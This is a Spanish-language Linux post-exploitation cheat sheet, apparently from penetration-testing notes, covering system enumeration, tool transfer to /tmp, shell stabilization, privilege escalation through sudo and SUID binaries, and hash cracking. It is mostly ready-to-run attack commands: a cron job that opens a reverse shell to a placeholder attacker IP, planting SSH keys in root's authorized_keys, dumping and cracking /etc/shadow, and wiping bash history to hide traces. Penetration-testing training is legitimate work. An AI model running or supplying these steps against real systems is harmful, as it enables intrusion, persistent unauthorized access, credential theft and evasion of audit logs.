Skip to content

🐧 Post-Explotación en Linux

El entorno Linux es extremadamente sensible a los permisos de archivos y a la configuración del Kernel. Una vez obtenida la shell inicial (generalmente como un usuario de servicios como www-data o un usuario estándar), el objetivo es identificar debilidades en la configuración para alcanzar privilegios de root.

✅ Metodología Linux

Enumeración local (Kernel, Sudo, SUID, Cron)
Transferencia de archivos (Uso de /tmp)
Mejora de la shell (Estabilización TTY completa)
Escalada de privilegios (GTFOBins, Capabilities)
Persistencia (SSH Keys, Cronjobs)
Extracción de hashes (/etc/shadow)
Limpieza de huellas (History, Logs)

🔍 1. Enumeración Local

No busques el exploit de Kernel a la primera. La mayoría de las escaladas en Linux se deben a errores humanos en los permisos de sudo o archivos con el bit SUID activo.

Información del Sistema

bash
# Versión del Kernel y arquitectura (Vital para Kernel Exploits)
uname -a

# Información de la distribución
cat /etc/*release

# Listado de paquetes instalados (Búsqueda de versiones vulnerables)
dpkg -l  # En Debian/Ubuntu
rpm -qa  # En CentOS/RHEL

Usuarios y Grupos

bash
# Quién soy y a qué grupos pertenezco
whoami
id

# Enumerar usuarios con acceso a shell
cat /etc/passwd | grep "sh$"

# Ver quién ha iniciado sesión recientemente
lastlog

Red y Procesos

bash
# Interfaces y redes internas
ip a

# Procesos que corren como root (Buscando servicios locales)
ps aux | grep root

# Tareas programadas del sistema
cat /etc/crontab
ls -la /etc/cron.*

Enumeración Automática (Value Add)

Para un reconocimiento rápido, utiliza herramientas que automatizan estas comprobaciones:

  • LinEnum: Script integral de bash. Se recomienda ejecutarlo y filtrar por "Thorough tests".
  • Metasploit: Módulos como linux/gather/enum_system o check_vm.

📂 2. Transferencia de Archivos

En Linux, la ruta por excelencia para subir herramientas es /tmp. La mayoría de los sistemas están configurados para que cualquier usuario pueda escribir allí y, además, los archivos suelen borrarse tras un reinicio.

Aparte de wget (visto en la intro), considera:

  • Curl: curl -O http://<TU_IP>/herramienta
  • SCP: Si tienes credenciales de usuario: scp herramienta usuario@víctima:/tmp/.

🐚 3. Mejora de la Shell (TTY Stabilization)

Las reverse shells suelen ser "tontas": no tienen autocompletado, no puedes usar flechas y Ctrl+C las mata. Para estabilizarlas:

  1. Spawneamos bash con Python:python3 -c 'import pty; pty.spawn("/bin/bash")'.
  2. Exportamos variables de entorno:export TERM=xtermexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin.
  3. (Opcional) Background y STTY: Presiona Ctrl+Z, escribe stty raw -echo; fg y presiona Enter dos veces. Esto te dará una shell interactiva completa.

📈 4. Escalada de Privilegios

Permisos de Sudo (sudo -l)

Es el primer comando que debes ejecutar. Te dirá qué binarios puedes correr como root sin conocer su contraseña.

  • Ejemplo: Si puedes ejecutar vim, escala con: sudo vim -c ':!/bin/sh'.
  • Referencia obligatoria: GTFOBins. Si aparece en sudo -l, búscalo ahí.

Binarios SUID

Archivos que se ejecutan con los privilegios del dueño (root). Buscamos aquellos que no deberían estar ahí.

bash
find / -perm -u=s -type f 2>/dev/null

Capabilities

Permisos granulares que pueden permitir a un binario saltarse restricciones de seguridad.

bash
getcap -r / 2>/dev/null
# Busca cap_setuid+ep en python, perl o tar.

⏳ 5. Persistencia

SSH Keys (El método más estable)

Si el servicio SSH está activo, puedes añadir tu propia clave pública al archivo authorized_keys del usuario root o de cualquier usuario legítimo.

  1. Genera claves en tu máquina: ssh-keygen.
  2. Copia tu .pub al objetivo: echo "tu-clave-publica" >> /root/.ssh/authorized_keys.

Cron Jobs

Crea una tarea que te envíe una reverse shell cada minuto:

bash
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<TU_IP>/<PORT> 0>&1'" > /tmp/proxy
crontab /tmp/proxy

🔑 6. Extracción y Crackeado de Hashes

Si eres root, puedes acceder a /etc/shadow, donde residen los hashes de las contraseñas.

Formato del Hash

El primer campo tras el nombre de usuario indica el algoritmo:

PrefijoAlgoritmo
$1$MD5
$2a$ / $2y$Blowfish
$5$$SHA-256
$6$SHA-512 (Estándar actual)
$y$yescrypt

Cracking Offline

John the Ripper:

bash
# Combina passwd y shadow para que John tenga el contexto
unshadow /etc/passwd /etc/shadow > hashes.txt
john --format=sha512crypt hashes.txt --wordlist=rockyou.txt

Hashcat:

bash
# El modo 1800 corresponde a SHA-512 (Unix)
hashcat -m 1800 hashes.txt rockyou.txt

🧹 8. Limpieza de Huellas

Linux registra cada comando en un archivo de historial. Es vital limpiarlo antes de salir.

bash
# Limpiar historial de la sesión actual
history -c

# Borrar el archivo de persistencia del historial
rm ~/.bash_history

# Cerrar sesión sin dejar rastro en los logs de acceso (si es posible)
kill -9 $$

Sin copyright ni nada. Ház lo que quieras con todo esto.